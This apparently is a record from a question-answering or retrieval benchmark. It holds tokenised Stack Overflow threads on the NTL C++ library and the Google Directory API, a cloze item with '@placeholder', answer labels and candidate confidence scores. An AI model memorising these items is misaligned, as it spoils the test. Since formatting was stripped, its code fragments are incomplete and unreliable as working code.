specific element . .. . Answer : The Elements of a finite-field with 2256 elements are represented as the polynomials f of deg f 256 . If you want a special element you can declare a polynom p by something like .. . .. . There is deg p n . If n deg P in your case n 256 then this is a special element of the finite-field . If n deg P you can reduce it modulo P by conv GF2E p . I hope this is what you were looking for .", "Question : I m trying to perform a multiplication of polynomials of degree 4096 using ZZ pEX class from NTL . However it returns the error Polynomial too big for FFT and I couldn t find a way to make it works or even something that could help on NTL s documentation but a comment in a slide saying that it can be fix without saying how . Did anyone found a fix for this Comment : Can you post your code so that we can reproduce your error Comment : the link-to the slide with the comment is maybe also helpful . Comment : This is the slide : wiki.sagemath.org http : wiki.sagemath.org days4schedule action AttachFile do get target flint-talk.pdf .. . Answer : You have to re-compile NTL with GMP that provides the GNU Multiprecision number package library routines . When it seems to be appropriate this package uses very beautiful hacks e.g . FFTs for bignum arithmetic . Here below Building and using NTL with GMP are the detailed steps you need to follow in order to compile NTL with GMP : http : www.shoup.net ntl doc tour-gmp.html .. . .. . Have fun Comment : Yeah I tried it but didn t work . I m still receiving the same error . Comment : Sorry for asking those standard questions first before diving deeper but which version of GMP do you use Comment : I had similar issues past year when performing computations on even larger polynomials.. . In the end the use of GMP could also optimize the computation time as shown here cs.berkeley.edu fateman papers polysbyGMP.pdf http : www.cs.berkeley.edu fateman papers polysbyGMP.pdf .", "Question : null .. . Answer : I have a server on which I can compute my algorithms . But I have a problem with installation anything because I don t have a root privilages . How I can install gmp and ntl library for c++ in HOME directory which will be visible for my program I want to install ntl with flags .. . .. . Which I done perfectly but I don t know how to install gmp locally and access GMP from ntl library Anyone maybe have a experience with sth like this and know how to solve .", "Question : I am trying to configure NTL library in my first Visual Studio 2010 project . I am following the instructions from : http : www.shoup.net ntl doc tour-win.html .. . .. . I created a new Win32 project named ntl . Then from Project - Add Existing Items and selected all the files in the src file NTL library folder . Then I clicked in Project - Properties - Configuration Properties - C C++ - Additional Include Directories and I selected the include directory in the NTL library folder . Finally I tried to Build - Build ntl but I am getting error says for every file in the src : .. . Answer : Simple follow this help step by step Compiling NTL . http : shoup.net ntl doc tour-win.html .. . .. . You must be doing something wrong follow the instructions step by step it will work . Save NTL in a path like it : C : Library WinNTL-5 5 2 and follow instructions of site .", "Question : I am trying to configure NTL library in my first Visual Studio 2010 project . I am following the instructions from : http : www.shoup.net ntl doc tour-win.html .. . .. . I created a new Win32 project named ntl . Then from Project - Add Existing Items and selected all the files in the src file NTL library folder . Then I clicked in Project - Properties - Configuration Properties - C C++ - Additional Include Directories and I selected the include directory in the NTL library folder . Finally I tried to Build - Build ntl but I am getting error says for every file in the src : .. . Answer : you probably don t need the answer for this question but maybe for others who want to do it . In Visual Studio 2010 : .. . .. . 1 . File - New - Project.. . or Ctrl + Shift + N .. . 2 . Choose Win32 Project located under Installed Templates - Visual C++ I named it NTLlib click Ok .. . 3 . Click Next Application type : Static library in Additional options : uncheck Precompiled header click Finish .. . 4 . Right-click on created project in Solution Explorer Add - New Item.. . or Ctrl + Shift + A choose C++ File .cpp name it and click Add it is necessary to set the C C++ settings .. . 5 . Download the latest NTL library http : www.shoup.net ntl download.html extract it in your project .. . 6 . Right-click on your project go to Properties or Alt + Enter in Configuration Properties - C C++ click on Additional Include Directories from Dropdown menu choose edit - New Line yellow Folder - set path to the downloaded NTL library include folder no folder in include folder click OK .. . 7 . Right-click on your project in Solution Explorer Add - Existing item.. . or Shift + Alt + a and select all files from downloaded NTL library in src directory click Add .. . 8 . After loading all files at bottom left print VS ready now click Build - Build NTLlib and wait for Build : 1 succeeded . Static library is created in Debug Release folder . For using the created library in another project just follow step 6 . and set path to the created library folder : Right-Click on project - Properties - Configuration Properties - VC++ Directories - Library Directories", "Question : I use archlinux and I install ntl from pacman by default . I have a problem with catching InvMod error in my code maybe someone have the same problem and now the solution for this : .. . .. . where-in + operator I have inverse of modulo because everything is inside the finite-field . I get this message : .. . .. . I want to catch this error because I need to know when I cannot inverse some point . Anyone know how to do this in ntl : .. . Answer : According to the documentation http : www.shoup.net ntl doc tour-changes.html if you want it to throw an exception instead of just calling abort - which it currently seems to be doing - you need to configure it with NTL EXCEPTIONS on . Comment : Thanks it s working I compile the ntl localy create FindNTL.cmake file and is working at now thanks :", "Question : I m currently using the NTL to handle large integers . The large integers on this library are declared as ZZ . I would like to go from a ZZ number to a hexadecimal . However NTL does not support conversion from ZZ to hexadecimals as I checked . So my question is how can i go from ZZ or maybe string which represent large decimal numbers to hexadecimal forms I prefer if it is possible to use the fascilities of this library to go directly to hex from ZZ if someone can help Comment : A number is a number decimal and hexadecimal are different ways of representing that number . Do you want to convert ZZ to a string that represents its hexadecimal form and vice versa Hex to ZZ doesn t really make sense . Comment : yes I would like to get the hexadecimal form of a ZZ number .. . Answer : Step1 : The large number xx is taken initially as a string s .. . .. . Step2 : Say string s has length l then s s 0 s 1 ...s l-1 . We read each character of s starting from position 0 and each time we convert this digit to an integer variable digit using int digit atoi ts.c str Then we use the recursive relation value 10 value+digit where value is declared as ZZ and initialized to 0 . After iterating through all digits we pass string to the ZZ value .. . .. . Step3 : Now to convert to hexadecimal form using NTL we can compute modulo16 of ZZ numbers . So starting by value 2 and then computing value-value 16 16 and proceeding in this way we get the hex form .", "Question : I have downloaded and installed the NTL library on my Ubuntu . I m currently using gedit to write my program and having included this ZZ.h header in my program . This is how i compile my program in the terminal : - g++ keygen.cpp -o keygen -I . . include -L . . lib -lntl -lm . I m pretty sure this line is correct but for some unknown reason i get the following error : .. . .. . The solution seems pretty straightforward to me : which is to add the NTL library directly to my program folder . I did just that but still i get the same error . Comment : Do you actually have NTL ZZ.h header in paths you g++ uses for headers . Try to run cpp -I . . include -x c++ -v to get the whole list of include directories Comment : @user3159253 so meaning to say i MUST see NTL ZZ.h in the include directories Comment : Surely you do . In one of include directories there should be a subdirectory called NTL and readable ZZ.h in it . Comment : How did you install NTL library From the package or from sources I ve checked ZZ.h does exist in ntl-6.0.0 include NTL Comment : @user3159253 I installed the library following the instructions on the NTL website . Icreated a folder called include within the .cpp folder and included the NTL library in that folder already . Since i don t see it. . What should i do .. . Answer : strike The problem with your attempt to compile and output an executable file appears to be compiler s inability to link the necessary library after obtaining an object .o file . strike .. . .. . Many people often test the point of fault by separating the two stages by first compiling g++ -c then by linking the libraries for an executable g++ -o . Although -Wall switch does not always work trying it to provide you with as much information as possible during compilation can also be helpful . Check this http : www.linuxquestions.org questions programming-9 problem-with-g-linker-cannot-find-library-734085 webpage . As for using different switches to link libraries try this http : stackoverflow.com questions 6141147 how-do-i-include-a-path-to-libraries-in-g webpage . I m not certain if it was a typo but I wonder if the space between the switch and directory : .. . -I . . include and -L . . lib .. . was the problem . Comment : Well he hasn t reached the link stage . KeyGen.cpp : 9 : 20 : error : NTL ZZ.h : No such file or directory is the message from compiler more precisely from preprocessor Comment : @user3159253 Thanks for the correction .", "Question : I m extending a small library using NTL and GMP . I m using NTL for convenience and to conform to existing APIs but I ll be switching to GMP and MPFR for the really performance-critical stuff . I m using GMP as a long-integer backend for NTL compiled using the NTL GMP LIP on flag and I m hoping this means I can just access the underlying mpz t from an NTL : : ZZ object . However I can t find any documentation or examples . If someone could give me a small code snippet or explain how to convert between an NTL : : ZZ and mpz t I would be eternally grateful . Note : I know you can just use strings as an intermediate format and convert using string-parsing but I d like something more performant . Comment : AFAICS NTL doesn t use mpz t well temporary ones if you define NTL GMP HACK it only uses the MPN layer of GMP . You should download the source for NTL and look at src g lip impl.h to figure out what it looks like . Comment : Ahhh ok . Thanks for the tip . .. . Answer : You can use sstream or similar string utilities to convert vice versa . The below code be used to transfer from NTL to ZZ . Reverse is similar ." ] }
[ "yes-answer-long", "yes-answer-short" ]
data-structures
UNK_RELATION
google-directory-api@user@188
google-directory-api -- google-apps and reseller administrators can use the directory api to manage mobile and chrome os devices groups group aliases members organization units users and @placeholder aliases .
{ "confidence": [ 60.288482666015625, 59.17906951904297, 58.10098648071289, 53.6522331237793, 51.49182891845703, 50.5244026184082, 49.749996185302734, 48.283329010009766, 48.014835357666016, 47.6786994934082, 46.25626754760742, 46.0479736328125, 46.013492584228516, 45.98899459838867, 45.65833282470703, 45.621925354003906, 45.07273864746094, 43.948909759521484, 43.948909759521484, 43.71595001220703, 43.42820739746094, 43.336669921875, 42.21427917480469, 42.171730041503906, 41.1111946105957, 41.11070251464844, 40.39549255371094, 40.175045013427734, 40.175045013427734, 39.44930648803711, 39.29890823364258, 39.07822799682617, 38.98298263549805, 38.70199203491211, 38.39543914794922, 38.07416915893555, 37.750732421875, 37.64976501464844, 37.52754592895508, 37.45415115356445, 37.08769607543945, 36.912715911865234, 36.6323127746582, 36.50395584106445, 36.50395584106445, 36.472328186035156, 35.627906799316406, 35.627906799316406, 35.627906799316406, 35.627906799316406, 35.627906799316406, 35.62150955200195, 35.33959197998047, 35.24105453491211, 35.192474365234375, 35.06062698364258, 35.048919677734375, 34.9020881652832, 34.68751907348633, 34.485748291015625, 34.25393295288086, 34.166839599609375, 34.07450866699219, 33.99488067626953, 33.796241760253906, 33.39374542236328, 33.21919631958008, 32.9108772277832, 32.81816482543945, 32.81816482543945, 32.81816482543945, 32.7625846862793, 32.700523376464844, 32.6021614074707, 32.352413177490234, 32.339813232421875, 32.30263137817383, 32.253807067871094, 32.13382339477539, 32.13382339477539, 32.10907745361328, 32.02509307861328, 31.901508331298828, 31.758182525634766, 31.668704986572266, 31.598228454589844, 30.983535766601562, 30.943405151367188, 30.9227294921875, 30.905960083007812, 30.894306182861328, 30.80634307861328, 30.737411499023438, 30.62535285949707, 30.546268463134766, 30.54397201538086, 30.54397201538086, 30.541969299316406, 30.491695404052734, 30.407257080078125 ], "content": [ "Email aliases used to be described as nicknames in Google Apps .", "How do nicknames and user aliases in the old environment map to user aliases in the Directory API", "Trying to use Google admin directory API in order to read members of a google group organization - it works fine .", "Trying to add aliases to users using post request to Directory Admin SDK .", "I want to get some user data of our Google Apps for Work users to a Google Spreadsheet via the Directory API .", "I m attempting to use Google Directory API .", "I want to use Directory Api for adding members .", "I should mention that both the Drive API and Directory API refer to the same Google Apps domain for which I m an administrator .", "This uses the google Directory API .", "I m able to retrieve my Google Apps domain Chromebook devices with a similarly coded method in JAVA using the Google Directory API .", "As we transition from the deprecated Provisioning API over to the new Directory API I see some gaping holes in the documentation in regards to how I as a reseller can manage my customers Google Apps customers .", "I am using Google.Apis.Admin.Directory.directory v1.Data to manage google users and groups .", "I am trying to create a group using google-directory-api https : developers.google.com admin-sdk directory v1 reference groups insert .", "Here s the link - https : developers.google.com admin-sdk directory v1 reference users aliases", "I been testing the google-directory-api out with the goal to automatically set password on users accounts .", "In my organization we have an in-house developed web application that relies on the Google apps provisioning API https : developers.google.com google-apps provisioning to allow our level 1 IT department to manage email accounts and email groups .", "I m experimenting with the Java client for Google Admin SDK specifically the Directory API .", ".. . .. . We have a java application deployed in WAS which will use Google Directory API .", "Is there a recommended way to use Google Directory API when SSH tunneling is done", "Right now we use Google Signin to authenticate the user and from there our goal is to use our admin Google Apps account to access the Directory API and use our current groups as roles .", "but i am unable to find directory api for creating groups and adding memebers into group", "Now they just call them aliases .", "After some research I found how to do that with Google Directory API https : developers.google.com admin-sdk directory v1 reference users .", "I am new to this project and I am having trouble understanding nicknames user aliases and e-mail aliases .", "I am working with the Google Directory API a Service Account for oauth2 and PHP run from the command-line .", "I am having trouble accessing the Google Directory API using node .", "From Retrieve a mobile device https : developers.google.com admin-sdk directory v1 guides manage-mobile-devices get mobile device docs : .. . .. . The resourceId is a unique Google identifier for a device and is found in the response of the Retrieve all mobile-devices method https : developers.google.com admin-sdk directory v1 guides manage-mobile-devices get all mobile-devices .", "To create new users i am using Google Directory API in my .net web application .", "I am not able to patch update custom-fields for my users via Google Directory API in Python .", "We are using Google API to create new google accounts users and their emails .", "And I already register the client id in Google Admin s Manage API client access", "I trawled the release notes https : developers.google.com api-client-library dotnet release notes the web google group https : groups.google.com forum searchin google-api-dotnet-client Directory SO etc .", "I want to use my existing authentication and be able to use that same authentication to perform a get request to the Google Directory API .", "Went to Resources - Advanced Google Services.. . - turned on the Admin Directory API .. . .. . 2 .", "Keep getting Insufficient Permission 403 when trying to add a member to a group using the Google Directory Services API in .Net .", "I have been trying to add members to my google-apps group .", "We are currently using the Deprecated Provisioning API using the .NET libraries for creating Google Groups within our organization .", "This is my HTTP URL .. . .. . I am using Directory API to create groups .", "1 1 : stackoverflow.com questions 31243902 http : stackoverflow.com questions 31243902 members-list-in-google-admin-sdk-directory-api-java 31260400 31260400", "I m attempting to migrate our code for using the soon to be deprecated Google Provisioning API to the Admin SDK Directory API via the .NET client libraries provided by Google .", "Does the current Google Directory APIs allow the moving of accounts between 2 different primary Google Domains", "It s based on the use of GoogleCredentials just like Google Drive API .", "I am migrating code from GDATA API to Google ADMIN Directory API User Provisioning .", "Google Apps Console - Security - API Access checked .. . 5 .", "I ve tried every Cloud Console and Google Apps API with no luck .", "Context : I want to retrieve the users from other Google Apps domain using Google Apps Script in order to save the list of data in Google Sheets .", "I m trying to create a new user account via the Google Directory API using the code below .", "The code we ve been using has been deprecated by Google in favor of their Directory API .", "I am working with the Google Admin SDK Directory API in managing domain Chromebooks .", "stackoverflow.com questions 16729165 http : stackoverflow.com questions 16729165 google-admin-directory-api-is-returning-400-bad-request", "The Google Java Directory API seems to return a json object when fetching externalIds so it is necessary to parse it to read it .", "Recently I came across Google Admin SDK Directory API where the option to switch the primary domains is available through the API .", "You can refer to this documentation https : developers.google.com admin-sdk directory v1 guides manage-group-members create member .", "I am trying to explore the Directory API to fetch the list of groups .", "It uses a username and password combination to login to the API and create Google Groups .", "I would like to manage with Google Spreadsheets my domain groups .", "The Group I created does not appear here . .. . .. . I go to the Google Groups Information Directory settings page for the Group I created https : groups.google.com a MY DOMAIN.com forum groupsettings MY GROUP directory and observe that List this group in the directory is checked .", "I ve set up access in the google-api-console .", "I want to try out some API commands using the try it api explorer in Google Developers Documenatation in particular listing the schemas associated with my Google Apps Education account .", "This is working fine however it is only working for administrators tried with both Directory API and Profiles data API .Is there a way to simply read the email from users without needing to have administrator rights", "You can use the list API which will give you all the groups for all domains of a customer if you provide the customerId - https : developers.google.com admin-sdk directory v1 reference groups list", "You ll need to use the Contact API https : developers.google.com google-apps contacts v3 hl en US .", "I also enabled both APIs in the Google API console .", "To get the list of members in group send request to Members.list developers.google.com admin-sdk directory v1 reference members https : developers.google.com admin-sdk directory v1 reference members list include groupkey which identifies the group .", "I setup Azure Active Directory SSO with my Google Apps Domain and I having issues setting up the Google Auto Account Provisioning .", "You should be requiring this file https : code.google.com p google-api-php-client source browse trunk src contrib Google DirectoryService.php in order to use the Directory API .", "I tried to search for the limit on the members.list function that I am using but couldn t find it on the Google Documentation for the Directory API .", "I m trying to use Google Apps Script container-bound within the Script Editor of a Google Sheet to create a group .", "Contact api doesn t retrieve directory content .", "Where did nicknames go in the Directory API", "Maby this will be an option in the next version of the Directory API", "The new feature that we want to add into existing Provisioning API from the Admin SDK Directory API is group Manager .", "I have a piece of code in Java to list all members of a group on a personal Google Apps Domain .", "Can you print the request that you are sending to Google API .", "I m using a service account to delegate domain wide security in order to pull a user listing from our Google Apps for Education instance via the Directory API and the PHP client library .", "You should migrate any nickname code you have to use the Alias API calls of the Directory API .", "have to have a service account with Perform Google Apps Domain-Wide Delegation of Authority as defined in .. . .. . https : developers.google.com admin-sdk directory v1 guides delegation .. . .. . it say to add it in the Manage third party OAuth Client access i had Manage OAuth Client access", "I want to build a search query for Google domain users using users.list Google Directory API .", "We have already built and deployed a Directory API based replacement for our Provisioning API based solution .", "One of the features available in Profiles API that doesn t migrate well to Directory API is User Defined fields .", "enter image description here http : i.stack.imgur.com eYxHLm.png .. . .. . I found three relevant apis .. . .. . Domain Shared Contacts API https : developers.google.com admin-sdk domain-shared-contacts .. . Directory API https : developers.google.com admin-sdk directory v1 reference .. . Contacts API https : developers.google.com google-apps contacts v3 hl en US .. . .. . Which service should I use to get all the contacts in this directory", "is there any way to identify my own POI s on route using google directions API", "I ve read through all of the relevant pages in the Admin ADK Directory API documentation https : developers.google.com admin-sdk directory v1 guides manage-groups create group and several questions on stackoverflow and I m still stuck .", "SETUP .. . .. . I am creating a new group using the Directory API - all ok .", "However unlike Google Drive I m getting 400 - bad request errors with Directory .", "Where I m at a loss is how to update the custom field attributes for Google Apps domain Chromebook devices .", "You can use Service Accounts to access the Directory API on behalf of the Administrator when any user accesses the App .", "You can use Google Maps Utility Library https : developers.google.com maps documentation android-api utility hl en .", "I want to use Google Apps Script GAS to watch updates to users on my domain and then do something programmatically to a Google Sheet based on the result -- in other words everything lives within the Google universe of my domain .", "The xxxxx account and service account are all set up and working such that I can programatically create users on our domain using Google Directory Services API with no problems .", "So we have found that .. . .. . 1 our solution has no access to the fields created by the Profiles API and 2 new user defined fields being set by Directory API are not visible in the Directory U I .", "Google Apps for Business account here .", "You can find details here google direction api https : developers.google.com maps documentation directions intro", "Documentation provided by google says that to use composer .", "However since google deprecated the API in favour of the Admin s SDK Directory API https : developers.google.com admin-sdk directory some of the functionality of our web application has stopped working so it s time to start re-writing the back end of the web application .", "I am trying to create my first console app using Google s Directory API for .Net .", "If I perform a simple operation on the Directory API however I get the error and stack-trace listed below .", "We created a Google WebService interface and two applications make use of this API .", "Using Google s Directory API to create users I m now running into an issue where the user is asked what city they usually sign in from .", "The customerId is identical for all users in the Google Apps instance including users in other secondary domains ." ] }
{ "confidence": [ 91.02096557617188, 90.40079498291016, 61.53923034667969, 60.23357391357422, 59.203121185302734, 57.96094512939453, 55.452476501464844, 55.12764358520508, 54.79935073852539, 54.78837585449219, 54.537635803222656, 53.207763671875, 52.98848342895508, 51.280967712402344, 50.86734390258789, 50.43643569946289, 50.112369537353516, 49.120697021484375, 49.043190002441406, 48.48754119873047 ], "content": [ "Question : I am working on migrating some code that uses the Google APIs to manage users in my company s Google Apps domain before the April 20 2015 deadline see Reminder to migrate to updated Google Data APIs http : googleappsupdates.blogspot.com 2014 12 reminder-to-migrate-to-updated-google.html . I am new to this project and I am having trouble understanding nicknames user aliases and e-mail aliases . 1 . In the old Google API environment Provisioning API what is the difference between a nickname and a user alias 2 . How do nicknames and user aliases in the old environment map to user aliases in the Directory API 3 . Where did nicknames go in the Directory API .. . Answer : They removed nicknames from Google Apps APIs . Now they just call them aliases . Here s the link - https : developers.google.com admin-sdk directory v1 reference users aliases", "Question : I am working on migrating some code that uses the Google APIs to manage users in my company s Google Apps domain before the April 20 2015 deadline see Reminder to migrate to updated Google Data APIs http : googleappsupdates.blogspot.com 2014 12 reminder-to-migrate-to-updated-google.html . I am new to this project and I am having trouble understanding nicknames user aliases and e-mail aliases . 1 . In the old Google API environment Provisioning API what is the difference between a nickname and a user alias 2 . How do nicknames and user aliases in the old environment map to user aliases in the Directory API 3 . Where did nicknames go in the Directory API .. . Answer : You are only dealing with naming issues here . Email aliases used to be described as nicknames in Google Apps . You should migrate any nickname code you have to use the Alias API calls of the Directory API .", "Question : As we transition from the deprecated Provisioning API over to the new Directory API I see some gaping holes in the documentation in regards to how I as a reseller can manage my customers Google Apps customers . Specifically I d like to know how I can use my Reseller OAUTH credentials to create a new user on behalf of one of my customers as was possible in the Provisioning API using the following endpoint : .. . .. . https : developers.google.com admin-sdk directory v1 reference users insert .. . .. . In the above documentation I don t see a reference to a customer s account . The only parameters that I believe may be useful are organizations and externalIds . There s little documentation as to what these do . I was thinking of testing the following scenarios : .. . .. . Likewise when performing operations on an existing user such as retrieval of a customer I don t see where I can specify which Google Apps account the specific user is tied to : .. . .. . https : developers.google.com admin-sdk directory v1 reference users get .. . .. . In this case there s not even parameters for organization or externalIds so I have no idea how retrieval could be specific to a particular customer under my reseller account . I need to be able to perform these actions as I was able to in the old Provisioning API on behalf of my customers using only my Reseller account OAUTH credentials . Any help would be appreciated . .. . Answer : Let s say my reseller account is reseller.com and my resold domain is resold.com . In order to create a user on behalf of my resold domain here is the call that I will make using my own reseller credential . https : developers.google.com admin-sdk directory v1 guides manage-users hl ja create user .. . .. . What you input in the primaryEmail field is where the user will be created . If you take a look at your resold domain admin console now you will see that a user is now created . Now again for retrieval it is the same deal . You will create these users and retrieve these users using your reseller credential as-if you are the super admin of their domains . Here is the catch... . If the Enable API access is not manually checked in your resold domain Admin console by default this is now automatically checked for all newly resold domains at the moment you can t make calls on behalf of the resold domains . The button is in Admin Console - Security - API reference - Enable API access .. . .. . enter image description here http : i.stack.imgur.com JRqpu.png Comment : Thanks so much Emily . It appears as though the new Directory API has been drastically simplified compared to the old Provisioning API by simply utilizing the domain portion of the email addresses when referencing customers . That s great Comment : One more question.. . when creating the first user for a customer domain will this user automatically be promoted to a super admin account I m wondering if it s necessary to make a follow-up request to makeAdmin . Comment : I believe you have to do the makeadmin call . The user wouldn t automatically become a superadmin even though she is the first user created .", "Question : In my organization we have an in-house developed web application that relies on the Google apps provisioning API https : developers.google.com google-apps provisioning to allow our level 1 IT department to manage email accounts and email groups . However since google deprecated the API in favour of the Admin s SDK Directory API https : developers.google.com admin-sdk directory some of the functionality of our web application has stopped working so it s time to start re-writing the back end of the web application . However the problem we re facing is that the new API uses oAuth 2.0 authentication where as the old API I could just hard code an admin user and get an authorization token the whole idea was to minimize the amount of users and credentials with admin privileges to the domain . So the question is is there any way that I can have this dummy user authorize the app once and never again to have a similar architecture like what we had before though I admit the better question is : what is the best practice to follow in this case .. . Answer : The authentication flow that best suits your case is two-legged-oauth . With oauth-2.0 you need to set up Service Account Credentials https : developers.google.com accounts docs OAuth2ServiceAccount creatinganaccount . To build the admin service with Service Account Credentials :", "Question : null .. . Answer : I want to use Directory Api for adding members . Documentation provided by google says that to use composer . I don t want to use composer . What is the best way to do this. . Comment : just read the doc.. . on the quickstart guide there is a link-to alternative install options without using composer . developers.google.com api-client-library php start installation https : developers.google.com api-client-library php start installation Comment : @CassianCrozetLjdtm : Thanks for providing me document . but i am unable to find directory api for creating groups and adding memebers into group", "Question : I have a piece of code in Java to list all members of a group on a personal Google Apps Domain . This uses the google Directory API . Here is the snippet : .. . .. . This works fine but for any group not more than exactly 200 members are listed though a group actually has more users . I tried to search for the limit on the members.list function that I am using but couldn t find it on the Google Documentation for the Directory API . Is there any such limit If yes can I somehow list all users .. . Answer : I have modified the code to use the pageToken attribute as below : .. . .. . I would like to add the first pageToken of any Directory.Members.List is null . One can verify this by changing the while-loop s condition from pageToken null to true . This change will list all the members over and over again repeatedly .", "Question : Google Apps for Business account here . SETUP .. . .. . I am creating a new group using the Directory API - all ok . I am then doing the following : .. . .. . 1 . get the Group I just created using the Groups API and assign it to someGroup .. . 2 . invoke someGroup.setShowInGroupDirectory true .. . 3 . patch someGroup using the Groups API .. . .. . No issues on the execution - everything comes back with no complaints . .. . .. . VERIFY .. . .. . I go to the Google Apps Admin console and search for the group I created . All ok - it appears . I go to the Google Groups homepage for my domain and click Browse All . The Group I created does not appear here . .. . .. . I go to the Google Groups Information Directory settings page for the Group I created https : groups.google.com a MY DOMAIN.com forum groupsettings MY GROUP directory and observe that List this group in the directory is checked . However if at this stage I manually uncheck List this group in the directory save recheck it save.. . It does appear in the Browse All view . I am trying to build an automated solution and can t really depend on my uses to execute this manual step for every group they create . I ve waited 24+ hours for any background sync to occur and still the group is not appearing in the Browse All view unless I manually toggle as described . Anyone seen anything similar .. . Answer : On the off-chance someone finds this one day : it actually took +-24 hours for the groups to start dropping in . The first test apparently look just under 25 hours another subsequent one took around 23 . The painful thing is that if you manually uncheck save recheck and save they appear immediately .", "Question : Trying to use Google admin directory API in order to read members of a google group organization - it works fine . When I try to add a member I get : .. . .. . I ve googled the error and found questions like this http : stackoverflow.com questions 22765599 missing-required-field-member this http : stackoverflow.com questions 27057265 google-groups-directory-api-add-user-to-group-raises-error-php and a few other unhelpful results . I checked and it s definitely not a missing scope nor permissions . Comment : .. . I managed to achieve what I wanted by using the sdk apiclient.discovery.build but still - I m curious what s the issue and if it can be solved . Debugging the request : .. . Answer : If you are trying to add a user to a group the first time the role must be MEMBER . If it is anything other than that it gives you this error - Missing required field : member . So first add the user as MEMBER and then specify any other role . Comment : That was not the issue I wasn t able to add a MEMBER as well . Now I can add an OWNER on the first try see accepted answer for more details .", "Question : Keep getting Insufficient Permission 403 when trying to add a member to a group using the Google Directory Services API in .Net . We have a Google domain set up . User xxxxx is an admin on the domain . I ve logged in as user xxxxx into the Admin console and created a service account . Took the associated generated Google ClientID for that service account and gave it the following scopes : .. . .. . The group is a created group in our domain . It is a valid group . I can manually add delete users from it . User xxxxx is an owner and member of the group . The user I m trying to add is a valid account in our domain . The xxxxx account and service account are all set up and working such that I can programatically create users on our domain using Google Directory Services API with no problems . I.e . Admin SDK is already enabled etc . The code snippet I m using to try to add a user to the group is quite simple : .. . .. . Am I missing something in code Is there some setting specifically for Google Groups that I need to set but don t know about Any help would be appreciated Thanks Comment : The snippet looks good . Can you reproduce this error in a different environment e.g . developers.google.com admin-sdk directory v1 reference members https : developers.google.com admin-sdk directory v1 reference members insert Comment : Try deleting your cached credentials file and then re-generating the credentials . .. . Answer : I tested your code with the following service declaration and it worked smoothly . You may need to specify the right Scope and or service account associated with your google API service account that is authorized on the domain API client access .", "Question : null .. . Answer : I am triying to create a service to list all groups from my domain and members inside the group . I am able to print the group names with the below code Can anyone suggest on how to get the group members Comment : To get the list of members in group send request to Members.list developers.google.com admin-sdk directory v1 reference members https : developers.google.com admin-sdk directory v1 reference members list include groupkey which identifies the group . Comment : Follow this link : The question on this link addresses the solution to list members of a group with pagination to list all members without any limit . 1 1 : stackoverflow.com questions 31243902 http : stackoverflow.com questions 31243902 members-list-in-google-admin-sdk-directory-api-java 31260400 31260400", "Question : I have a piece of code in Java to list all members of a group on a personal Google Apps Domain . This uses the google Directory API . Here is the snippet : .. . .. . This works fine but for any group not more than exactly 200 members are listed though a group actually has more users . I tried to search for the limit on the members.list function that I am using but couldn t find it on the Google Documentation for the Directory API . Is there any such limit If yes can I somehow list all users .. . Answer : Take a look at the maxResults and pageToken attributes on members.list https : developers.google.com admin-sdk directory v1 reference members list . The page doesn t specify but I believe 200 is both the maxResults default-value and maximum . Your app needs to check for the existence of the pageToken attribute in the results . If it s set you have at least one more page of results to grab . Keep looping through results until pageToken is not set . Comment : Thanks a lot It worked", "Question : I ve read through all of the relevant pages in the Admin ADK Directory API documentation https : developers.google.com admin-sdk directory v1 guides manage-groups create group and several questions on stackoverflow and I m still stuck . I m trying to use Google Apps Script container-bound within the Script Editor of a Google Sheet to create a group . I am the super admin of my Google Apps domain and the scripts will be running as me . Here s what I did in the Script Editor so far : .. . .. . 1 . Went to Resources - Advanced Google Services.. . - turned on the Admin Directory API .. . .. . 2 . Clicked the link below that for the Google Developers Console and enabled the Admin SDK .. . .. . 3 . Took working code that I have which I use to set user s email signatures which was adapted from this blog post http : blog.knoldus.com 2013 01 11 google-apps-script-to-create-signature-block-for-user and modified it for creating groups instead : .. . .. . function createGroupTest .. . .. . var t new Date .. . t t.getTime .. . .. . createGroup AAA Test Group + t aaa.testgroup . + t + @mydomain.com test@mydomain.com test .. . .. . .. . .. . function createGroup groupName groupEmail owner description .. . .. . var requestBody email : +groupEmail+ name : +groupName+ description : +description+ .. . .. . var scope https : www.googleapis.com auth admin.directory.group .. . var fetchArgs googleOAuth Groups scope .. . fetchArgs.method POST .. . fetchArgs.contentType application json .. . fetchArgs.payload requestBody .. . .. . var url https : www.googleapis.com admin directory v1 groups .. . .. . UrlFetchApp.fetch url fetchArgs .. . .. . .. . .. . .. . function googleOAuth name scope .. . var oAuthConfig UrlFetchApp.addOAuthService name .. . oAuthConfig.setRequestTokenUrl https : www.google.com accounts OAuthGetRequestToken scope +scope .. . oAuthConfig.setAuthorizationUrl https : www.google.com accounts OAuthAuthorizeToken .. . oAuthConfig.setAccessTokenUrl https : www.google.com accounts OAuthGetAccessToken .. . oAuthConfig.setConsumerKey consumerKey .. . oAuthConfig.setConsumerSecret consumerSecret .. . return oAuthServiceName : name oAuthUseToken : always .. . .. . .. . .. . When I run that I get this response : .. . .. . When I add fetchArgs.muteHttpExceptions true the error output changes to Failed to authenticate for service : Groups . .. . Answer : Figured it out : .. . .. . 1 . Went to Resources - Advanced Google Services.. . .. . 2 . Clicked the link for the Google Developers Console .. . 3 . Clicked on the Credentials section in the sidebar .. . 4 . Clicked Create New Key under Public API access .. . 5 . Clicked Browser Key .. . 6 . Added key followed by the key that it generated to the end of the url string .. . .. . So the complete url string looked like this :", "Question : We are currently using the Deprecated Provisioning API using the .NET libraries for creating Google Groups within our organization . Provisioning API does support adding Group Members with Manager role . As a work around we would like to build the Group Manager functionality from the New Directory API on top of the existing provisioning API . The new feature that we want to add into existing Provisioning API from the Admin SDK Directory API is group Manager . I have downloaded the Google.Apis.admin.directory v1.dll and OAuth2.0 using the .NET libraries from this link : https : www.nuget.org packages Google.Apis.Admin.Directory.directory v1 1.7.0.25-beta .. . .. . I have also completed the prerequisites listed in this link : https : developers.google.com admin-sdk directory v1 guides prerequisites .. . .. . In order to add the Manager feature to the existing provisioning API I am trying to implement the MembersResource.InsertRequest method which is : .. . .. . InsertRequest Google.Apis.Services.IClientService service Google.Apis.Admin.Directory.directory v1.Data.Member body string groupKey .. . .. . I need help in understanding the implementation for IClientService service and using OAuth2.0 authorization for authorizing requests for .NET . I am unable to find any examples online using .NET library . It would be extremely helpful if you share implementation examples or code-snippets for using this feature . Thanks . .. . Answer : There are several samples available in our samples repository - https : code.google.com p google-api-dotnet-client source browse repo samples . There isn t a sample for Admin API but there are several other samples using OAuth 2.0 for other APIs such as Drive Tasks Books and many others . You should also take a look in our getting started page - https : developers.google.com api-client-library dotnet get started and OAuth 2.0 - https : developers.google.com api-client-library dotnet guide aaa oauth . I also published a nice blogpost with an introduction to the .NET client library for Google APIs - http : 